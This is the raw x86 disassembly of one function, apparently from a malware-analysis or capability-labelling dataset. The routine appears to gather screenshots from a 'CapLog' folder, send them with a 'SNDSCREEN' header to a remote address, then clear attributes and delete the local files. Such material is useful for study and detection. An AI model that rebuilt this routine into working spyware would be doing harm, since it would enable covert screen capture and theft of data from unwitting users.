Function at 0x404a00
Capabilities:
Delete file
Get file attributes
Get number of processors
Set file attributes

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x41ca32
push eax
mov eax, 0x11e4
mov dword fs:[0], esp
call fcn.00409a50
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xe8]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0xec]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xe8]
push 0x5c
push ecx
call fcn.00409bf0
mov byte [eax + 1], 0
mov edi, str.CapLogcapsrc.jpg
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0xe8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
call fcn.00408450
lea eax, [esp + 0xe8]
push 0
push eax
lea ecx, [esp + 0x30]
mov dword [esp + 0x1204], 0
call fcn.00408513
test eax, eax
je 0x404da2
mov ebx, 1
lea ecx, [esp + 0x28]
call fcn.00408733
lea ecx, [esp + 0x10]
mov ebp, eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.0040892b
mov edx, dword [esp + 0x10]
push 0x424634
push edx
mov byte [esp + 0x1204], bl
call fcn.004094be
add esp, 8
test eax, eax
je 0x404d64
mov eax, dword [esp + 0x10]
push 0x424630
push eax
call fcn.004094be
add esp, 8
test eax, eax
je 0x404d64
mov ecx, dword [esp + 0x10]
push 0x4281ec
push ecx
call fcn.004094be
add esp, 8
test eax, eax
je 0x404d64
lea edx, [esp + 0x24]
lea ecx, [esp + 0x28]
push edx
call fcn.0040889a
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x1200], 2
call fcn.00415e09
lea ecx, [esp + 0x24]
mov byte [esp + 0x11fc], bl
call fcn.00415d1c
push 0x42462c
lea ecx, [esp + 0x14]
call fcn.00414fa5
lea ecx, [esp + 0x28]
call fcn.0040898a
test eax, eax
jne 0x404c0b
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
push eax
call fcn.00408802
mov esi, dword [eax]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x2c]
mov byte [esp + 0x1200], 3
call fcn.00408802
mov edi, dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0xfe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x20]
call fcn.00415d1c
lea ecx, [esp + 0x1c]
mov byte [esp + 0x11fc], bl
call fcn.00415d1c
lea edx, [esp + 0x18]
lea ecx, [esp + 0x28]
push edx
call fcn.00408802
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
call fcn.00415d1c
test ebp, ebp
mov byte [esp + 0x11fc], 0
lea ecx, [esp + 0x10]
je 0x404d9d
jmp 0x404d70
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1f4]
call fcn.004068d0
mov eax, dword [0x42815c]
xor ecx, ecx
push 2
mov byte [esp + 0x1200], 4
mov cx, word [eax + 6]
mov edx, dword [eax + 2]
push ecx
push edx
lea ecx, [esp + 0x1f8]
call fcn.00406910
test eax, eax
je 0x404d7e
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x48]
lea edx, [esp + 0x48]
rep stosd dword es:[edi], eax
mov edi, str.SNDSCREEN
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1e
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x42815c]
add ecx, 0x14
push ecx
push edx
call fcn.004093c0
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
call fcn.00415a91
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x48]
push 0x38
push edx
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x1f4]
mov byte [esp + 0x1204], 5
mov dword [esp + 0x84], eax
call fcn.00406b40
cmp eax, 0x38
jne 0x404d40
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x1ec]
mov esi, dword [eax - 8]
push esi
push eax
call fcn.00406b40
cmp eax, esi
jne 0x404d40
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x80]
push 0x65
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x84]
lea ecx, [esp + 0x1f0]
push eax
call fcn.00406ab0
cmp eax, 0x65
jne 0x404d40
cmp byte [esp + 0x80], 0x64
jne 0x404d40
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x4c], esp
push ecx
lea ecx, [esp + 0x34]
call fcn.00408802
lea edx, [esp + 0x1f4]
push edx
call fcn.00404860
add esp, 0xc
lea ecx, [esp + 0x14]
mov byte [esp + 0x11fc], 4
call fcn.00415d1c
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x11fc], bl
call fcn.004068e0
mov byte [esp + 0x11fc], 0
lea ecx, [esp + 0x10]
call fcn.00415d1c
test ebp, ebp
je 0x404da2
jmp 0x404ac3
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x11fc], bl
call fcn.004068e0
mov byte [esp + 0x11fc], 0
lea ecx, [esp + 0x10]
call fcn.00415d1c
lea ecx, [esp + 0x28]
mov dword [esp + 0x11fc], 0xffffffff
call fcn.0040848d
mov ecx, dword [esp + 0x11f4]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x11f0
ret